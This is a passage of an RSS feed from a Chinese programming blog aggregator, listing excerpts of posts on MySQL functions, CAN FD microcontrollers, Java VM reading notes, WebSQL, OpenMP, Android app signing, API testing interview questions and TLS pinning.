      <title>MySQL命令速查——常用函数</title>
      <link>https://bchobby.github.io/posts/cd88ca67ae52c8b29c0f39710914c8b7/</link>
      <pubDate>Mon, 25 Dec 2023 10:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd88ca67ae52c8b29c0f39710914c8b7/</guid>
      <description>注：若测试单个函数的话，需要在函数前面加上SELECT，要不会报错&#xA;SELECT 函数 name;&#xA;name是搜索出来，想要展示的列名，比如&#xA;字符串函数 合并字符串 CANCAT(str1,str2,…) 比较字符串大小 STRCMP(str1,str2) 获取字符串长度 LENGTH(str) 全部转换为大写 UPPER(str) 全部转换为小写 LOWER(str) 返回字符串2在字符串1中的位置 LOCATE(str1,str2) 或&#xA;POSITION(str2 IN str1) 截取字符串 从左边数截取字符串 LEFT(str,num) 比如 LEFT(&#39;helloworld&#39;,3)会返回 &#39;hel&#39;&#xA;从右边数截取字符串 RIGHT(str,num) 比如 RIGHT(&#39;helloworld&#39;,3)会返回 &#39;rld&#39;&#xA;替换字符串 根据位置替换 INSERT(原字符串，开始位置，结束位置，待替换的字符串) 比如 INSERT(&#39;hellomysqlyes&#39;,6,10,&#39;vue&#39;)结果就是&#39;hellovueyes&#39;&#xA;根据内容替换 REPLACE(str,substr,newstr) 将把str中的字符串substr替换成newstr&#xA;数值函数 返回绝对值 ABS(x) 返回x除以y的余数 MOD(x,y) 返回0~1的随机数 RAND() 返回数值x的四舍五入值，保留y位小数 ROUND(x,y) 返回数值x，保留y位小数 TRUNCATE(x,y) 返回大于或等于x的最小整数值 CEIL(x) 返回小于或等于x的最大整数值 FLOOR(x) 日期和时间函数 获取当前日期 CURDATE() 返回结果：年-月-日&#xA;获取当前时间 CURTIME() 返回结果：时：分：秒（24小时制）&#xA;获取当前日期和时间 NOW() 返回结果：年-月-日 时：分：秒&#xA;返回date为一年中的第几周 WEEK(date) 例如：WEEK(NOW())</description>
    </item>
    <item>
      <title>PCAN FD</title>
      <link>https://bchobby.github.io/posts/fc6dc01ea265c7b410a785150b68026f/</link>
      <pubDate>Mon, 25 Dec 2023 10:25:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc6dc01ea265c7b410a785150b68026f/</guid>
      <description>1 CAN FD&#xA;1.1 MCU with CAN FD&#xA;GD32C103: USART upgrade&#xA;STM32G0B1: RM0444, DS13560, AN5096, USART1 (PA9, PA10) and DFU (PA11, PA12)&#xA;STM32G431: RM0440, DS12589, AN5093, USART1 (PA9, PA10) and DFU (PA11, PA12)&#xA;Refer to AN2606 to get what STM32 devices support DFU bootloader.&#xA;NUCLEO-G431RB评估板上的唯一一个USB接口不是连接到STM32G431的，而是给ST-Link用的。&#xA;Discovery开发板一般有2个USB接口，一个是ST-Link，另外一个是USB通信口。&#xA;1.2 FD Format bit&#xA;STM32G0x1 R1.FDF: Receive Register 1, FD Format bit; if this bit is set, a CAN FD frame was received, otherwise, a CAN 2.</description>
    </item>
    <item>
      <title>SATA和M.2接口的异同点</title>
      <link>https://bchobby.github.io/posts/1235471b8d13c039746626c08151dd91/</link>
      <pubDate>Mon, 25 Dec 2023 10:07:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1235471b8d13c039746626c08151dd91/</guid>
      <description>SATA和M.2接口是连接存储设备的两种常见接口，它们在物理尺寸、传输速度、线缆和接头以及适用设备类型等方面有着显著的异同点。&#xA;物理尺寸&#xA;SATA接口通常用于2.5英寸硬盘、3.5英寸硬盘等传统机械硬盘以及SSD，而M.2接口则是一种较为新型的接口标准，尺寸小巧，适用于笔记本电脑、超薄型设备以及一些台式机主板上。&#xA;传输速度&#xA;SATA接口的传输速度受限于其最大速度为SATA III（6Gbps），而M.2接口支持更高的传输速度，可以达到SATA III甚至更高的速度。特别是基于PCIe总线的M.2接口，可以提供更快的数据传输速度，适合高性能存储设备。&#xA;线缆和接头&#xA;SATA接口需要使用数据线和电源线连接，而M.2接口则是直接插入主板或扩展卡的插槽中，不需要额外的数据线和电源线。&#xA;设备类型&#xA;SATA接口通常用于连接传统的机械硬盘和2.5英寸的固态硬盘，而M.2接口可以连接各种尺寸的固态硬盘，包括2280、2260、2242等不同规格的M.2固态硬盘。&#xA;结论：&#xA;SATA接口适用于传统的存储设备，而M.2接口则更适合于小型、高速的固态硬盘，也更适合于对性能和尺寸要求较高的设备。</description>
    </item>
    <item>
      <title>基于OpenCV的图像颜色与形状识别设计与实现实验指导书</title>
      <link>https://bchobby.github.io/posts/ae855888a4771ea42926f375d624e0ff/</link>
      <pubDate>Mon, 25 Dec 2023 10:02:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae855888a4771ea42926f375d624e0ff/</guid>
      <description>基于OpenCV的图像颜色与形状识别设计与实现实验指导书&#xA;一、实验目的：&#xA;通过本实验，学生将了解图像颜色与形状的基本概念，并掌握使用OpenCV进行图像颜色与形状识别的方法。具体操作包括图像剪裁、颜色识别、轮廓检测。&#xA;二、实验器材：&#xA;计算机安装了Python和OpenCV库的开发环境彩色图像 三、实验步骤：&#xA;1、导入必要的库：&#xA;import cv2 as cv&#xA;import numpy as np&#xA;import math&#xA;from PIL import Image, ImageDraw, ImageFont&#xA;2、设定颜色阈值： 根据需要识别的颜色，设定相应的颜色阈值。例如：&#xA;lower_red = np.array([0, 120, 100])&#xA;upper_red = np.array([10, 255, 255])&#xA;3、定义计算角度和距离的函数：&#xA;def calculating_angle(p1, p2, p0):&#xA;# 计算角度&#xA;def calculating_distance(p0, p1):&#xA;# 计算距离&#xA;4、定义形状识别函数：&#xA;def getShape(cnt):&#xA;# 根据轮廓获取形状&#xA;5、定义添加文本和矩形框的函数：&#xA;def cv2ImgAddText(img, shapes, textColor=(255, 0, 0)):&#xA;# 添加文本&#xA;def cv2ImgAddRect(img, shapes):&#xA;# 添加矩形框&#xA;6、定义颜色分割函数：&#xA;def colorDivision(name, roi_bgr, lowerb, upperb):</description>
    </item>
    <item>
      <title>【读书笔记】深入理解Java虚拟机（周志明）（5）第五部分 高效并发</title>
      <link>https://bchobby.github.io/posts/f84943962dbb4cb40d046ef854d6802b/</link>
      <pubDate>Mon, 25 Dec 2023 09:15:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f84943962dbb4cb40d046ef854d6802b/</guid>
      <description>文章目录 文章说明第五部分 高效并发第12章 Java内存模型与线程12.1 概述12.2 硬件的效率与一致性12.3 Java内存模型12.3.1 主内存与工作内存12.3.2 内存间交互操作12.3.3 对于volatile型变量的特殊规则12.3.4 对于long和double型变量的特殊规则12.3.5 原子性、可见性与有序性12.3.6 先行发生原则 12.4 Java与线程12.4.1 线程的实现12.4.2 Java线程调度12.4.3 状态转换 第13章 线程安全与锁优化13.1 概述13.2 线程安全13.2.1 Java语言中的线程安全13.2.2 线程安全的实现方法 13.3 锁优化13.3.1 自旋锁与自适应自旋13.3.2 锁消除13.3.3 锁粗化13.3.4 轻量级锁13.3.5 偏向锁 文章说明 本文是《深入理解Java虚拟机（周志明）》这本书的重点摘要。&#xA;本笔记仅作为复习，不过多的对内容进行讲解。&#xA;本笔记按照书的目录进行，如遇到需要细看的，可以到书中找对应内容。&#xA;本笔记并不是按照书中原话进行摘要，而是根据自己的理解使用大白话进行记录，同时进行了少部分扩展。如有错误欢迎指出。&#xA;由于内容较多，一共分为三篇：&#xA;篇幅链接深入理解Java虚拟机（周志明）（1）第一部分 走进Java（2）第二部分 自动内存管理机制https://blog.csdn.net/zhaohongfei_358/article/details/134927759深入理解Java虚拟机（周志明）（3）第三部分 虚拟机执行子系统（4）第四部分 程序编译与代码优化https://blog.csdn.net/zhaohongfei_358/article/details/135067398深入理解Java虚拟机（周志明）（5）第五部分 高效并发https://blog.csdn.net/zhaohongfei_358/article/details/135111650 第五部分 高效并发 第12章 Java内存模型与线程 12.1 概述 无重点&#xA;12.2 硬件的效率与一致性 硬件在并行计算时处理一致性问题的方式是增加了一层“缓存一致性协议”，如图所示：&#xA;12.3 Java内存模型 Java内存模型的主要目标是：定义程序中各个变量的访问规则，即在虚拟机中将变量存储到内存和从内存中取出变量这样的底层细节。&#xA;12.3.1 主内存与工作内存 Java内存分为主内存和线程工作内存。&#xA;主内存线程共享。&#xA;各个线程有自己的工作内存。&#xA;线程只能使用自己的工作内存，不能直接读写主内存，只能将主内存的变量拷贝一个副本到自己的工作内存，然后再同步给主内存。&#xA;12.3.2 内存间交互操作 Java内存模型定义了8种“原子操作”来进行工作内存和主内存的交互：&#xA;lock：锁定主内存中的某个变量；unlock：释放lock锁定的变量锁。read：将主内存的变量传输到工作内存中。load：将read到工作内存的变量生成副本。use：使用工作内存中的变量，即将变量值传递给执行引擎。assign（赋值）：将执行引擎返回的结果值赋值给工作内存中的变量。store：将工作内存的值传输到主内存。write：将store过来的变量值放入到主内存变量中。 线程读变量就是“read+load”操作，写变量就是“store+write”操作。&#xA;read和load之间可以插入其他操作，例如：可以 read a, read b, load a, load b。 （store+write同理）</description>
    </item>
    <item>
      <title>【读书笔记】深入理解Java虚拟机（周志明）（3）第三部分 虚拟机执行子系统（4）第四部分 程序编译与代码优化</title>
      <link>https://bchobby.github.io/posts/628df68b16835d8bba56b216f519ad31/</link>
      <pubDate>Mon, 25 Dec 2023 09:15:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/628df68b16835d8bba56b216f519ad31/</guid>
      <description>文章目录 文章说明第三部分 虚拟机执行子系统第6章 类文件结构6.1 概述6.2 无关性的基石6.3 Class类文件的结构 第7章 虚拟机类加载机制7.1 概述7.2 类加载的时机7.3 类加载过程7.4 类加载器7.4.1 类与类加载器7.4.2 双亲委派模型7.4.3 破坏双亲委派模型 第8章 虚拟机字节码执行引擎8.1 概述8.2 运行时栈帧结构8.3 方法调用8.3.1 解析8.3.2 分派8.3.3 动态类型语言支持8.4 基于栈的字节码解释执行引擎 第9章 类加载及执行子系统的案例与实战9.1 概述9.2 案例分析9.2.1 Tomcat：正统的类加载器结构9.2.2 OSGi：灵活的类加载器结构9.2.3 字节码生成技术与动态代理的实现9.2.4 Retrotranslator：跨越JDK版本 9.3 实战：自己动手实现远程执行功能 第四部分 程序编译与代码优化第10章 早期（编译期）优化10.1 概述10.2 Javac编译器10.3 Java语法糖的味道10.3.1 泛型与类型擦除10.3.2 自动装箱、拆箱与遍历循环10.3.3 条件编译 10.4 实战：插入式注解处理器 第11章 晚期（运行期）优化11.1 概述11.2 HotSpot虚拟机内的即时编译器11.3 编译优化技术11.3.1 优化技术概览11.3.2 公共子表达式消除11.3.3 数组边界检查消除11.3.4 方法内联11.3.5 逃逸分析 11.4 Java与C/C++的编译器对比 文章说明 本文是《深入理解Java虚拟机（周志明）》这本书的重点摘要。&#xA;本笔记仅作为复习，不过多的对内容进行讲解。&#xA;本笔记按照书的目录进行，如遇到需要细看的，可以到书中找对应内容。&#xA;本笔记并不是按照书中原话进行摘要，而是根据自己的理解使用大白话进行记录，同时进行了少部分扩展。如有错误欢迎指出。&#xA;由于内容较多，一共分为三篇：&#xA;篇幅链接深入理解Java虚拟机（周志明）（1）第一部分 走进Java（2）第二部分 自动内存管理机制https://blog.csdn.net/zhaohongfei_358/article/details/134927759深入理解Java虚拟机（周志明）（3）第三部分 虚拟机执行子系统（4）第四部分 程序编译与代码优化https://blog.csdn.net/zhaohongfei_358/article/details/135067398深入理解Java虚拟机（周志明）（5）第五部分 高效并发https://blog.</description>
    </item>
    <item>
      <title>【读书笔记】深入理解Java虚拟机（周志明）（1）第一部分 走进Java（2）第二部分 自动内存管理机制</title>
      <link>https://bchobby.github.io/posts/38a4a2e911a6c805fd7946c88c44bae0/</link>
      <pubDate>Mon, 25 Dec 2023 09:15:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38a4a2e911a6c805fd7946c88c44bae0/</guid>
      <description>文章目录 文章说明第一部分 走近Java第1章 走进Java1.1 概述1.2 Java技术体系1.3 Java 发展史1.4 Java虚拟机发展史1.5 展望Java技术未来1.6 实战：自己编译JDK 第二部分 自动内存管理机制第2章 Java内存区域与内存溢出异常2.1 概述2.2 运行时数据区域2.3 HotSpot虚拟机对象探秘2.3.1 对象的创建（过程）2.3.2 对象的内存布局2.3.3 对象的访问定位 2.4 实战：OutOfMemoryError异常（OOM） 第3章 垃圾收集器与内存分配策略3.1 概述3.2 对象已死吗（如何判断对象可以被回收）3.2.1 引用计数法（不常用）3.2.2 可达性分析算法（常用）3.2.3 再谈引用（强/软/弱/虚引用、引用队列）3.2.4 生存还是死亡（finalize方法）3.2.5 回收方法区 3.3 垃圾收集算法3.3.1 标记-清理算法3.3.2 复制算法3.3.3 标记-整理算法3.3.4 分代收集算法 3.4 HotSpot的（收集）算法实现3.4.1 枚举根节点3.4.2 安全点（Safepoint） 3.5 （不同实现的）垃圾收集器3.5.1 Serial收集器（不常用）3.5.2 ParNew收集器（不常用）3.5.3 Parallel Scavenge收集器3.5.4 Serial Old收集器3.5.5 Parallel Old收集器3.5.6 CMS收集器（JDK1.8的收集器）3.5.7 GI 收集器3.5.8 理解GC日志3.5.9 垃圾收集器参数总结 3.6 内存分配与回收策略 第4章 虚拟机性能监控与故障处理工具4.1 概述4.2 JDK的命令行工具4.2.1 jps：虚拟机进程状况工具4.2.2 jstat：虚拟机统计信息监视工具4.2.3 jinfo：Java配置信息工具4.2.4 jmap：Java内存映像工具4.2.5 jhat：虚拟机堆转储快照分析工具4.2.6 jstack：Java堆栈跟踪工具4.2.7 HSDIS：JIT生成代码反汇编 4.</description>
    </item>
    <item>
      <title>Java AQS 核心数据结构-CLH 锁及优化</title>
      <link>https://bchobby.github.io/posts/09606fa654719111971b803e54f89b29/</link>
      <pubDate>Mon, 25 Dec 2023 00:50:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09606fa654719111971b803e54f89b29/</guid>
      <description>Java AQS 核心数据结构-CLH 锁 什么是CLH锁 CLH 锁是对自旋锁的一种改进，有效的解决了以上的两个缺点。&#xA;第一个是锁饥饿问题。在锁竞争激烈的情况下，可能存在一个线程一直被其他线程”插队“而一直获取不到锁的情况。第二是性能问题。在实际的多处理上运行的自旋锁在锁竞争激烈时性能较差。 首先它将线程组织成一个队列，保证先请求的线程先获得锁，避免了饥饿问题。其次锁状态去中心化，让每个线程在不同的状态变量中自旋，这样当一个线程释放它的锁时，只能使其后续线程的高速缓存失效，缩小了影响范围，从而减少了 CPU 的开销。&#xA;CLH 锁数据结构很简单，类似一个链表队列，所有请求获取锁的线程会排列在链表队列中，自旋访问队列中前一个节点的状态。当一个节点释放锁时，只有它的后一个节点才可以得到锁。CLH 锁本身有一个队尾指针 Tail，它是一个原子变量，指向队列最末端的 CLH 节点。每一个 CLH 节点有两个属性：所代表的线程和标识是否持有锁的状态变量。当一个线程要获取锁时，它会对 Tail 进行一个 getAndSet 的原子操作。该操作会返回 Tail 当前指向的节点，也就是当前队尾节点，然后使 Tail 指向这个线程对应的 CLH 节点，成为新的队尾节点。入队成功后，该线程会轮询上一个队尾节点的状态变量，当上一个节点释放锁后，它将得到这个锁。&#xA;下面用图来展示 CLH 锁从获取到释放锁的全过程。&#xA;CLH 锁初始化时会 Tail 会指向一个状态为 false 的空节点，如图1所示。当 Thread 1（下称 T1）请求获取锁时，Tail 节点指向 T1 对应的节点，同时返回空节点。T1 检查到上一个节点状态为 false，就成功获取到锁，可以执行相应的逻辑了，如图2所示。当 Thread 2（下称 T2）请求获取锁时，Tail 节点指向 T2 对应的节点，同时返回 T1 对应的节点。T2检查到上一个节点状态为 True，无法获取到锁，于是开始轮询上一个节点的状态，如图3所示。当 T1 释放锁时，会将状态变量置为 False，如图4所示。T2 轮询到检查到上一个节点状态变为 False，则获取锁成功，如图5所示。 CLH 锁 Java 实现解析 1、节点中的状态变量为什么用 volatile 修饰？可以不用 volatile 吗？</description>
    </item>
    <item>
      <title>SQL实践篇（一）：使用WebSQL在H5中存储一个本地数据库</title>
      <link>https://bchobby.github.io/posts/3162d0acc8a162fb9bc4e77d2bf40be7/</link>
      <pubDate>Sun, 24 Dec 2023 23:25:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3162d0acc8a162fb9bc4e77d2bf40be7/</guid>
      <description>文章目录 简介本地存储都有哪些？如何使用WebSQL打开数据库事务操作SQL执行 在浏览器端做一个英雄的查询页面如何删除本地存储参考文献 简介 WebSQL是一种操作本地数据库的网页API接口，通过它，我们可以操作客户端的本地存储。&#xA;WebSQL曾经是H5里很重要的一种技术，但是后来被废弃了，有的浏览器可能仍旧可以正常使用，但是已经不推荐了，而且大多数浏览器，如Chrome，已经直接禁用了WebSQL了，目前流行的替代品，应该是IndexedDB。&#xA;所以本节就是兴趣了解下就行。&#xA;主要包括以下内容：&#xA;本地存储都有哪些？什么是WebSQL？使用WebSQL的三个核心方法是什么？使用WebSQL在本地浏览器里创建一个数据库，并对其进行查询和呈现。 本地存储都有哪些？ 本地存储是一个很大的概念，其包括了Cookies、Local Storage、Session Storage、WebSQL、IndexedDB。&#xA;Cookies是最早的本地存储，是浏览器端提供，并且对服务器和JS开放，不过可以存储的数据总量只有4KB，如果超过了这个限制就会忽略，没法进行保存，所以一般用来记录一些登陆有关的信息之类的。&#xA;Local Storage与Session Storage都属于Web Storage。Web Storage跟Cookies类似，区别在于它有更大容量的存储。Local Storage是持久化的本地存储，除非我们主动删除数据，否则会一直保存在本地。Session Storage只存在于Session会话中，就是说只有在同一个Session页面才能使用。当Session会话结束时，数据也会自动释放。&#xA;Web SQL与IndexedDB都是最新的HTML5本地缓存技术，相比前面三种来说，其存储功能更强，支持的数据类型也更多，比如说图片、视频等。&#xA;Web SQL，准确的说是Web SQL DB API，它其实是一种操作客户端本地数据库的一类API接口，通过它我们可以很方便的实现基于SQL对本地数据库的增删改查。对浏览器来讲，所谓的本地数据库，一般是指SQLite，比如Chrome和Safari会用SQLite实现本地存储。&#xA;如果说WebSQL方便我们对RDBMS进行操作，那么IndexedDB就是一种NoSQL，它存储的是key-value型数据，通常可以超过250M，且支持事务。&#xA;可以看到，本地存储是包含了多种存储方式，它可以很方便的将数据存储在客户端中，从而避免重复调用服务器资源。&#xA;而WebSQL，其实并不属于是H5规范的一部分，是一个单独的规范，只是浏览器端同时接受了它跟H5规范。当年，主流的浏览器（Chrome、Safari和Firefox）基本都支持WebSQL，可以在js里通过WebSQL来对客户端数据库进行操作。&#xA;2023-11-9 14:15:17 不过我查了下，目前多数浏览器基本都关闭了WebSQL。&#xA;如何使用WebSQL 怎么检测你的浏览器是否支持WebSQL？&#xA;在你的浏览器里，F12打开命令行，执行以下代码：&#xA;if (!window.openDatabase) { alert(&#39;浏览器不支持WebSQL&#39;); } 或者是打开以下html：&#xA;&amp;lt;!DOCTYPE HTML&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;SQL必知必会&amp;lt;/title&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; if (!window.openDatabase) { alert(&#39;浏览器不支持WebSQL&#39;); } &amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&#34;status&#34; name=&#34;status&#34;&amp;gt;WebSQL Test&amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 如果浏览器不支持WebSQL，会弹窗提示&#34;浏览器不支持WebSQL&#34;，否则不会有弹窗提示。试了一下，连chrome现在都禁用WebSQL了。&#xA;不过出于兴趣，接下来还是简单介绍下WebSQL的使用吧。&#xA;打开数据库 如果数据库存在，则会直接打开，返回一个数据库句柄，不存在则会创建。</description>
    </item>
    <item>
      <title>游戏服务器列表-增量处理</title>
      <link>https://bchobby.github.io/posts/0de30d9339a63ca8044f7f63238ba95d/</link>
      <pubDate>Sun, 24 Dec 2023 22:09:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0de30d9339a63ca8044f7f63238ba95d/</guid>
      <description>前言&#xA;服务器列表比较简单&#xA;固定表/开服表（一般只会增加及合并),操作频率很低&#xA;一般由 服务器ID IP NAME 开服时间&#xA;为什么要自己写个， MySQL的增量备份日志，相对太复杂了&#xA;看下 一条UPDATE 语句 随便找了表 修改了 10002 level 1 -&amp;gt;2 得用专门的库去完成，而这里需求很简单&#xA;这章主要针对 开服表 优化处理&#xA;这工具主要是配合前面openresty（登录服/微中台）给运维人员 使用的&#xA;2种方式，按需处理 （json数据，方便前端处理） 后端提供 基础版本与最新增量版本号（主动/被动式 —定时查询或 收到某请求去查询)&#xA;1&amp;gt; 可以直接由服务器把列表（从数据库或redis读取）给前端,可以请求时带版本号，只发送增量部分&#xA;2&amp;gt; 导出文件 放到cdn（并发量大时)，前端去拉去增量文件/基础文件，自行比较 更新，由服务器告诉前端基础版本号+最新版本号，到默认的CDN 地址去拉取 eg:CND地址/patch_107&#xA;1:环境 （自行安装，没什么难度，这里直接跳过）&#xA;win10&#xA;vs2015&#xA;jsoncpp 库&#xA;mysql5.7 (这里搭建在linux上)&#xA;2: 说明&#xA;1&amp;gt; 数据库&#xA;srvlist srvlistincr&#xA;还有2张这里暂时用不到，就不说了&#xA;2&amp;gt; 工具界面（MFC 界面做的有点粗糙，请谅解) （ 这工具8月就做完了，今天才想起，看看对大伙有用没）&#xA;3&amp;gt;重点说明&#xA;sid 服务器开始ID eid 服务器结束ID&#xA;比如 这个区有合服101-105 5个合服了，这里就是101 105 缺点不能中间中断</description>
    </item>
    <item>
      <title>【c&#43;&#43;】OpenMP自动并行</title>
      <link>https://bchobby.github.io/posts/e8942bba7b163dccae023ec888340703/</link>
      <pubDate>Sun, 24 Dec 2023 22:08:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8942bba7b163dccae023ec888340703/</guid>
      <description>标题 自动并行相关技术入门博客：omp例子嵌套并行操作 自动并行相关技术 【c++】多线程下利用Gcc内置原子操作保证多线程相加安全【c++】cilk的使用 文档教程OpenMP 推荐！！！下面的几篇博客为此教程的翻译整理版本。&#xA;官网：OpenMP应用程序编程接口&#xA;入门博客： 最简单的并行计算——OpenMP的使用OpenMP入门教程（一）OpenMP入门教程（二）OpenMP入门教程（三）通过 GCC 学习 OpenMP 框架OpenMP编程入门之一OpenMP中几个容易混淆的函数（线程数量/线程ID/线程最大数）以及并行区域线程数量的确定并行编程-OpenMP（必看!）嵌套并行操作（必看!） omp例子 #include &amp;lt;iostream&amp;gt; #include &amp;lt;omp.h&amp;gt; #include &amp;lt;thread&amp;gt; void report_num_threads(int level) { // #pragma omp single { printf(&#34;Level %d: number of threads in the team: %d\n&#34;, level, omp_get_num_threads()); // 获取当前线程的 ID std::thread::id this_id = std::this_thread::get_id(); // 输出线程 ID std::cout &amp;lt;&amp;lt; &#34; Current thread ID: &#34; &amp;lt;&amp;lt; this_id &amp;lt;&amp;lt; std::endl; } } int main() { const int n = 32; int sum = 0; // int data[n]; int a1 = 0; // int data2[n]; int a2 = 0; // int data3[n]; int a3 = 0; // int data4[n]; int a4 = 0; // int data5[n]; int a5 = 0; bool is_nested = false; is_nested = omp_get_nested(); std::cout&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>AndroidStudio 生成签名</title>
      <link>https://bchobby.github.io/posts/2376147ddcebb1c54c0da2a855520bea/</link>
      <pubDate>Sun, 24 Dec 2023 22:06:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2376147ddcebb1c54c0da2a855520bea/</guid>
      <description>Android Stuido 生成签名 Android平台签名证书(.keystore)生成指南 具体看这篇文章就够了。主要使用的是jre 的 keytool 功能生成 .keystore 文件。&#xA;Android证书的生成是自助和免费的，不需要审批或付费。&#xA;可以使用JRE环境中的keytool命令生成。以下是windows平台生成证书的方法：&#xA;使用keytool获取apk签名 keytool -list -v /Users/chao/Code/Other/app/android/app/key.jks keytool -list -v -keystore /Users/chao/Code/Other/app/android/app/my-release-key.keystore keytool -list -printcert -jarfile /Users/chao/Desktop/base.apk 没有md5 其实生成的 ,keystore 都是有 md5 的，只是后来的版本不显示而已。&#xA;1.可获取MD5签名的JDK版本 分享 2.新版jdk的keytool没有md5，解决 windows安装OpenSSL（转载）</description>
    </item>
    <item>
      <title>百分百能遇到的接口自动化测试面试题，看完的现在已经在办理入职了...</title>
      <link>https://bchobby.github.io/posts/db51c90c57ff5f2011d081a3c7b0722a/</link>
      <pubDate>Sun, 24 Dec 2023 21:33:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db51c90c57ff5f2011d081a3c7b0722a/</guid>
      <description>1. 什么是接口自动化测试？&#xA;答：接口自动化测试是指使用自动化工具对接口进行测试，验证接口的正确性、稳定性和性能等方面的指标。&#xA;2. 为什么要进行接口自动化测试？&#xA;答：接口自动化测试可以提高测试效率，减少人工测试的工作量，同时可以更快地发现和解决问题，提高软件质量。&#xA;3. 接口自动化测试的优点是什么？&#xA;答：接口自动化测试可以提高测试效率、减少测试成本、提高测试覆盖率、增强测试的可重复性和可靠性。&#xA;4. 接口自动化测试的缺点是什么？&#xA;答：接口自动化测试需要编写测试脚本，需要一定的技术水平和时间投入，同时也无法完全替代手工测试。&#xA;5. 接口自动化测试的工具有哪些？&#xA;答：常见的接口自动化测试工具有：Postman、SoapUI、JMeter、Requests、Selenium等。&#xA;6. 接口自动化测试的流程是什么？&#xA;答：接口自动化测试的流程包括：需求分析、测试计划、测试用例设计、测试脚本编写、测试执行、测试报告生成和问题跟踪等。&#xA;7. 接口自动化测试中的测试用例应该包括哪些内容？&#xA;答：测试用例应该包括接口的输入数据、预期输出结果、测试步骤、测试环境、测试数据等信息。&#xA;8. 接口自动化测试中的测试脚本应该包括哪些内容？&#xA;答：测试脚本应该包括接口的请求方法、请求参数、请求头、请求体、响应状态码、响应头、响应体等信息。&#xA;9. 接口自动化测试中的断言应该包括哪些内容？&#xA;答：断言应该包括响应状态码、响应头、响应体等信息，用于验证接口的正确性和稳定性。&#xA;10. 接口自动化测试中的数据驱动测试是什么？&#xA;答：数据驱动测试是指使用不同的测试数据来执行相同的测试用例，以验证接口的正确性和稳定性。&#xA;11. 接口自动化测试中的性能测试是什么？&#xA;答：性能测试是指对接口的响应时间、并发访问量、吞吐量等方面进行测试，以验证接口的性能和可靠性。&#xA;12. 接口自动化测试中的安全测试是什么？&#xA;答：安全测试是指对接口的安全性进行测试，包括对接口的认证、授权、加密、防护等方面进行测试。&#xA;13. 接口自动化测试中的Mock测试是什么？&#xA;答：Mock测试是指使用虚拟的接口数据来模拟真实的接口数据，以验证接口的正确性和稳定性。&#xA;14. 接口自动化测试中的集成测试是什么？&#xA;答：集成测试是指对多个接口进行测试，以验证接口之间的交互和协作是否正确。&#xA;15. 接口自动化测试中的回归测试是什么？&#xA;答：回归测试是指在软件修改后重新执行之前的测试用例，以验证修改是否影响了原有的功能和性能。&#xA;16. 接口自动化测试中的异常处理是什么？&#xA;答：异常处理是指对接口返回的异常信息进行处理，以保证测试的正确性和稳定性。&#xA;17. 接口自动化测试中的并发测试是什么？&#xA;答：并发测试是指对接口的并发访问量进行测试，以验证接口的性能和可靠性。&#xA;18. 接口自动化测试中的压力测试是什么？&#xA;答：压力测试是指对接口的负载能力进行测试，以验证接口的性能和可靠性。&#xA;19. 接口自动化测试中的持续集成是什么？&#xA;答：持续集成是指将接口自动化测试集成到软件开发的过程中，以保证软件的质量和稳定性。&#xA;20. 接口自动化测试中的代码覆盖率是什么？&#xA;答：代码覆盖率是指测试用例覆盖的代码行数占总代码行数的比例，用于评估测试用例的覆盖率和质量。&#xA;21. 接口自动化测试中的代码审查是什么？&#xA;答：代码审查是指对测试脚本的代码进行审查，以发现和解决潜在的问题和错误。&#xA;22. 接口自动化测试中的日志记录是什么？&#xA;答：日志记录是指对测试过程中的信息进行记录，以便于问题的追踪和解决。&#xA;23. 接口自动化测试中的报告生成是什么？&#xA;答：报告生成是指对测试结果进行汇总和分析，生成测试报告，以便于管理和决策。</description>
    </item>
    <item>
      <title>使用TLS/SSL Pinning保护安卓应用程序</title>
      <link>https://bchobby.github.io/posts/3c35f7b47a0992acde1a5271f844d043/</link>
      <pubDate>Sun, 24 Dec 2023 20:18:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c35f7b47a0992acde1a5271f844d043/</guid>
      <description>使用TLS/SSL Pinning保护安卓应用程序 在现代术语中，“SSL”（安全套接层）通常指的是“TLS”（传输层安全）。虽然 SSL 和 TLS 不是同一个东西，但 TLS 是 SSL 的改进和更安全的版本，并且在实践中已大部分取代了 SSL。&#xA;简介 SSL/TLS：互联网安全的动态二人组！🔒💻 这些是建立安全通信渠道的加密协议，确保在线交换过程中的数据隐私、完整性和认证。SSL率先出击，但TLS就像超级英雄一样赶来，解决了混乱，拯救了一天！🦸‍♂️ 现在，它们携手合作，保护我们的数据免受邪恶黑客的侵害！🔒😎&#xA;在互联网安全领域，现代技术斗篷下的是 TLS，让 SSL 在怀旧的尘埃中留下了身影！🚀 所以下次当你浏览网页时，记住，是 TLS 像老板一样守护你的秘密！🤫🔐&#xA;以下是 SSL 和 TLS 发布的完整历史：&#xA;SSL 1.0 —— 因安全问题从未公开发布。&#xA;SSL 2.0 —— 1995 年发布。2011 年弃用。有已知的安全问题。&#xA;SSL 3.0 —— 1996 年发布。2015 年弃用。有已知的安全问题。&#xA;TLS 1.0 —— 1999 年作为 SSL 3.0 的升级版本发布。计划于 2020 年弃用。&#xA;TLS 1.1 —— 2006 年发布。计划于 2020 年弃用。&#xA;TLS 1.2 —— 2008 年发布。&#xA;TLS 1.3 —— 2018 年发布。</description>
    </item>
    <item>
      <title>【JVM】虚拟机的组成&#43;字节码文件组成&#43;类的生命周期</title>
      <link>https://bchobby.github.io/posts/765f4b2a9abf765cce0302d6d0219d43/</link>
